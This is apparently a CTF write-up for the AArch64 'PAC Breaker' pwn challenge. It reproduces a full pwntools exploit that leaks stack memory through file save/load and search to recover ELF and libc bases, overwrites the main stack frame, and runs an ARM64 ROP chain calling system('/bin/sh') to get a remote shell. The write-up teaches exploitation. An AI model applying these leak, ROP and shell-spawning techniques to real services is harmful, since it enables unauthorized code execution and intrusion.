← Back to blog

PAC Breaker

Files

Download: pwn_pac_breaker.zip

Challenge Description

Welcome to Operation PACbreaker, where your skills as a highly trained operative from the United Nations of Zenium are crucial. Your mission is of utmost importance: infiltrate the oppressive surveillance system maintained by the Board of Arodor and bypass their formidable Persistent Access Control (PAC) mechanisms. By leveraging your expertise, you must navigate their intricate defenses, uncover their hidden agendas, gather vital intelligence, and ultimately secure the survival of the democratic colony. The United Nations of Zenium places its trust in your abilities. Are you prepared to embrace the challenge and liberate the colony from the shackles of control?

Overview

This is an AArch64 (ARM64) pwn challenge built around a menu-driven “target database” binary. The program lets us load targets from a file, add targets, search for a target, save targets to disk, and remove targets. Each target stores a name, residence address, and contact number with fixed maximum field lengths.

The exploit chain has three stages:

  1. Abuse the file save/load and search primitives to repeatedly leak adjacent stack memory, defeating ASLR by recovering both the ELF base and the libc base.
  2. Use the same file primitives to write a controlled payload over the main stack frame.
  3. Drive a libc ROP chain that calls system("/bin/sh"), working around the AArch64 calling convention with a set of ldp/blr gadgets.

The full pwntools solution is reproduced below, followed by a breakdown of how each component works.

I/O Wrapper

The ProbIO class wraps the binary’s menu protocol so each menu option (1-6) becomes a clean method. send_prompt_cmd sends a menu selection after the prompt, and read_until_next_prompt reads back everything the program prints up to the next menu header. The remaining helpers (sel1-sel6) map directly onto the six menu actions: load from file, add target, search target, save all targets to file, save a single target to file, and remove target.

from pwn import *
import copy
import random

MAX_PEOPLE = 10
MAX_NAME_LEN = 30
MAX_CON_LEN = 15
MAX_ADDRESS_LEN = 50
MAX_BUFFER_SIZE = 100

def encode(s):
    if type(s) == str:
        return s.encode('ascii')
    return s

class ProbIO:

    PROMPT_START = b"\n=========== Main Menu ===========\n"
    PROMPT_END = b"==================================\n\n> "

    def __init__(self, p):
        self.p = p

    def send_prompt_cmd(self, cmd):
        self.p.sendlineafter(self.PROMPT_END, str(cmd).encode('ascii'))

    def read_until_next_prompt(self):
        return self.p.readuntil(self.PROMPT_START)[:-len(self.PROMPT_START)]

    def sel1(self, filename):
        filename = encode(filename)
        self.send_prompt_cmd(1)
        self.p.sendlineafter(b"Enter the target ID: ", filename)
        return self.read_until_next_prompt()

    def sel2(self, name, address, number):
        name = encode(name)
        address = encode(address)
        number = encode(number)
        self.send_prompt_cmd(2)
        self.p.sendafter(b"Enter the target name: ", name)
        self.p.sendafter(b"Enter the residence address: ", address)
        self.p.sendafter(b"Enter the contact number: ", number)
        return self.read_until_next_prompt()

    def sel3(self, name):
        self.send_prompt_cmd(3)
        self.p.sendlineafter(b"Enter the name of the target you want to lookup: ", encode(name))
        return self.read_until_next_prompt()

    def sel4(self, filename):
        self.send_prompt_cmd(4)
        self.p.sendlineafter(b"Enter the target ID: ", encode(filename))
        return self.read_until_next_prompt()

    def sel5(self, filename, choice):
        self.send_prompt_cmd(5)
        self.p.sendlineafter(b"Enter the target ID: ", encode(filename))
        self.p.sendlineafter(b"Target selection: ", encode(str(choice)))
        return self.read_until_next_prompt()

    def sel6(self, choice):
        self.send_prompt_cmd(6)
        self.p.sendlineafter(b"Target to remove: ", encode(str(choice)))
        return self.read_until_next_prompt()

Building the Leak and Write Primitives

The Primitives class turns the raw menu actions into the exploitation building blocks. The named wrappers (load_targets_from_file, add_target, etc.) make the chain readable, and add_target_and_save is the workhorse: it adds a target, saves it to a file (either a single target or the full target list via the trick flag), then removes it so the slot is free again.

class Primitives:

    def __init__(self, io):
        self.io = io
        self._wrong_stack_dump = b''
        self._wrong_stack_dump_count = 0

    def load_targets_from_file(self, *args, **kwargs)   : return self.io.sel1(*args, **kwargs)
    def add_target(self, *args, **kwargs)               : return self.io.sel2(*args, **kwargs)
    def search_target(self, *args, **kwargs)            : return self.io.sel3(*args, **kwargs)
    def save_targets_to_file(self, *args, **kwargs)     : return self.io.sel4(*args, **kwargs)
    def save_target_to_file(self, *args, **kwargs)      : return self.io.sel5(*args, **kwargs)
    def remove_target(self, *args, **kwargs)            : return self.io.sel6(*args, **kwargs)

    def add_target_and_save(self, name, address, number, save, trick=False):
        self.add_target(name, address, number)
        if not trick:
            self.save_target_to_file(save, 0)
        else:
            self.save_targets_to_file(save)
        self.remove_target(0)

These helpers create files whose contents are either a single null byte or fully null-filled fields. They are used to seed predictable file contents that, when loaded back, leave known bytes on the stack so the leak math stays aligned.

    def make_null_file(self):
        self.add_target_and_save(b'\0', b'\0', b'\0', "null", trick=True)

    def make_null_filled_file(self):
        self.add_target_and_save(b'\0' * MAX_NAME_LEN, b'\0' * MAX_ADDRESS_LEN, b'\0' * MAX_CON_LEN, "null-filled")

The core leak primitive is stack_dump_from_targets. It writes a sequence of single-target files, each tagged with an index byte, then loads each file back and uses the search function to read out the name/address/number fields. Because each load/search reads from an uninitialized stack region, the bytes returned beyond the controlled prefix are leftover stack data. The function concatenates each field (30 + 50 + 15 = 0x5f bytes per record) into one large dump, then cleans up. The result is cached so repeated leaks don’t re-run the whole dump.

    def stack_dump_from_targets(self, count=0x20):

        if self._wrong_stack_dump_count >= count:
            return copy.deepcopy(self._wrong_stack_dump)

        prog = log.progress("dumping stack")
        dump = b''
        fmap = []

        suffix = random.randint(0, 0xffffffff)

        for i in range(count):
            filename = f"{i:02x}-{suffix:08x}"
            prog.status(f"saving file: {filename}/{count}")
            self.add_target_and_save(p8(i + 1) + p8(0), b'\0', b'\0', filename, trick=True)
            fmap.append(filename)

        for i in range(count):

            prog.status(f"reading file: {fmap[i]}/{count}")

            self.load_targets_from_file(fmap[i])
            res = self.search_target(p8(i + 1))

            now = 0

            res = res[len("Target Name: "):]
            dump += res[:MAX_NAME_LEN]
            res = res[MAX_NAME_LEN:]

            res = res[len("Residence Address: "):]
            dump += res[:MAX_ADDRESS_LEN]
            res = res[MAX_ADDRESS_LEN:]

            res = res[len("Contact Number: "):]
            dump += res[:MAX_CON_LEN]
            res = res[MAX_CON_LEN:]

        for i in range(count):
            prog.status(f"cleaning: {i}/{count}")
            self.remove_target(0)

        self._wrong_stack_dump = dump
        self._wrong_stack_dump_count = count

        prog.success(f"success! (size {count * 0x5f}b)")
        return copy.deepcopy(dump)

leak_from_targets slices a specific range out of the stack dump. The guard loop rejects offsets that land on a record boundary (multiples of 0x5f), where the leaked byte would be one of our own controlled prefix bytes rather than genuine stack data. It then computes how many records must be dumped to cover the requested range and returns the requested slice.

    def leak_from_targets(self, offset, size, ignore=False):
        if not ignore:
            for o in range(offset, offset + size):
                if o % (MAX_NAME_LEN + MAX_ADDRESS_LEN + MAX_CON_LEN) == 0:
                    raise Exception("leak contains wrong byte!")
        count = ((offset + size) // 0x5f) + 1
        dump = self.stack_dump_from_targets(count)
        return dump[offset:offset+size]

With a working stack leak, the two ASLR bases are recovered by reading a known stack-resident pointer at a fixed offset and subtracting its constant displacement from the module base. Offset 0x3c0 yields an ELF pointer (minus 0x17c8), and offset 0x4f0 yields a libc pointer (minus 0x277f8).

    def leak_elf_base(self):
        return u64(self.leak_from_targets(0x3c0, 8)) - 0x17c8

    def leak_libc_base(self):
        return u64(self.leak_from_targets(0x4f0, 8)) - 0x277f8

The write primitive fill_main_stack is the inverse of the leak: it chops the ROP payload into 0x5f-byte records (30 name + 50 address + 15 contact), saves each as a file, then loads every file back in order. Loading the files writes our payload bytes onto the main stack, overwriting the saved return context.

    def fill_main_stack(self, payload):

        prog = log.progress("filling stack")

        suffix = random.randint(0, 0xffffffff)
        fmap = []

        for i in range(0, len(payload), 0x5f):

            name = payload[i:i+MAX_NAME_LEN]
            i += MAX_NAME_LEN

            address = payload[i:i+MAX_ADDRESS_LEN]
            if not address: address = b'\0'
            i += MAX_ADDRESS_LEN

            contact = payload[i:i+MAX_CON_LEN]
            if not contact: contact = b'\0'
            i += MAX_CON_LEN

            filename = f"{i:02x}-{suffix:08x}"
            fmap.append(filename)

            prog.status(f"saving file: {filename}, {i}/{len(payload)}")
            self.add_target_and_save(name, address, contact, filename)

        for filename in fmap:
            prog.status(f"filling with file: {filename}")
            self.load_targets_from_file(filename)

        prog.success(f"filled! count is {len(fmap)}")

The AArch64 ROP Chain

On AArch64, function arguments go in registers (x0, x1, …) and the return address is held in x30 (the link register), not pushed on the stack like x86. That makes a naive return-oriented chain harder, so the Ropper class stitches together three libc gadgets that load registers from the stack and branch (blr) to a loaded value. The gadget comments document exactly which registers each one populates.

class Ropper:

    def __init__(self, e, l):
        self.e = e
        self.l = l
        self.load()

    def load(self):

        # 0x0000000000117e40 : ldp x1, x2, [sp, #0x68] ; mov x0, x21 ; blr x2
        self.libc_gadget_1 = self.l.address + 0x0000000000117e40

        # 0x000000000012fd70 : ldp x29, x30, [sp], #0x40 ; ret
        self.libc_gadget_2 = self.l.address + 0x000000000012fd70

        # 0x000000000002adac : mov x5, x24 ;
        #                      ldr x8, [sp, #0x70] ;
        #                      mov x3, x19 ;
        #                      ldr x0, [sp, #0x90] ;
        #                      movz w6, #0 ;
        #                      ldr w7, [sp, #0x98] ;
        #                      movz x4, #0 ;
        #                      blr x8
        self.libc_gadget_3 = self.l.address + 0x000000000002adac

call_with_fault lays out the stack so the gadgets chain together: gadget 1 sets up registers and branches, gadget 2 acts as a stack-pivot/return stepper (ldp x29, x30, [sp], #0x40 ; ret) advancing the stack pointer between stages, and gadget 3 loads x0 (the argument) from [sp, #0x90] and the call target into x8 from [sp, #0x70] before branching. The padding ('A' * ...) and the 0xdeadbeefdeadbeef placeholders position func and arg at exactly the offsets each gadget loads from.

    def call_with_fault(self, func, arg):

        payload  = p64(self.libc_gadget_1)
        # --- sp + 0x00
        payload += p64(0xdeadbeefdeadbeef)
        payload += p64(self.libc_gadget_2)
        # --- sp + 0x10
        payload += b'A' * 0x30
        # --- sp + 0x40
        payload += p64(0xdeadbeefdeadbeef)
        payload += p64(self.libc_gadget_2)
        # --- sp + 0x50
        payload += b'A' * 0x18
        # --- sp + 0x68
        payload += p64(0)
        payload += p64(self.libc_gadget_2)
        # --- sp + 0x78
        payload += b'A' * 8
        # --- sp + 0x80
        payload += p64(0xdeadbeefdeadbeef)
        payload += p64(self.libc_gadget_3)
        # --- sp + 0x90
        payload += b'A' * 0x30
        # --- sp + 0xc0 (0x00)
        payload += b'A' * 0x70
        # --- sp + 0x70
        payload += p64(func)
        # --- sp + 0x78
        payload += b'A' * 0x18
        # --- sp + 0x90
        payload += p64(arg)

        return payload

build assembles the final payload: a large 'A' * 0x3c0 prefix to reach the saved frame, followed by the call gadget chain targeting system with a pointer to the /bin/sh string found inside libc.

    def build(self):
        payload  = b'A' * 0x3c0
        # payload += b'A' * 0x8
        payload += self.call_with_fault(l.symbols['system'], next(l.search(b"/bin/sh\0")))
        return payload

Putting It Together

main ties the stages together: leak the libc and ELF bases to defeat ASLR, log them, build a fresh ROP chain against the now-known libc layout, write it over the main stack with fill_main_stack, and drop into an interactive shell once the chain fires.

def main(p, e, l):
    io = ProbIO(p)
    pri = Primitives(io)
    rop = Ropper(e, l)

    l.address = pri.leak_libc_base()
    e.address = pri.leak_elf_base()
    log.info(f"elf base : 0x{e.address:016x}")
    log.info(f"libc base: 0x{l.address:016x}")

    pri.fill_main_stack(Ropper(e, l).build())

    p.interactive()

The entry point parses the host/port and the paths to the challenge binary and its libc, opens the remote connection, loads the ELF objects for symbol resolution, and pauses for a debugger to attach before launching the exploit.

if __name__ == "__main__":

    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument("-H", "--host", type=str, default="localhost")
    parser.add_argument("-P", "--port", type=int, default=1337)
    parser.add_argument("--libc", default="./libc.so.6")
    parser.add_argument("--elf", default="./chall")
    args = parser.parse_args()

    p = remote(args.host, args.port)
    e = ELF(args.elf)
    l = ELF(args.libc)

    input("break> ")
    main(p, e, l)

Running the script against the live service leaks the bases, overwrites the stack with the system("/bin/sh") chain, and returns an interactive shell on the target, from which the flag can be read.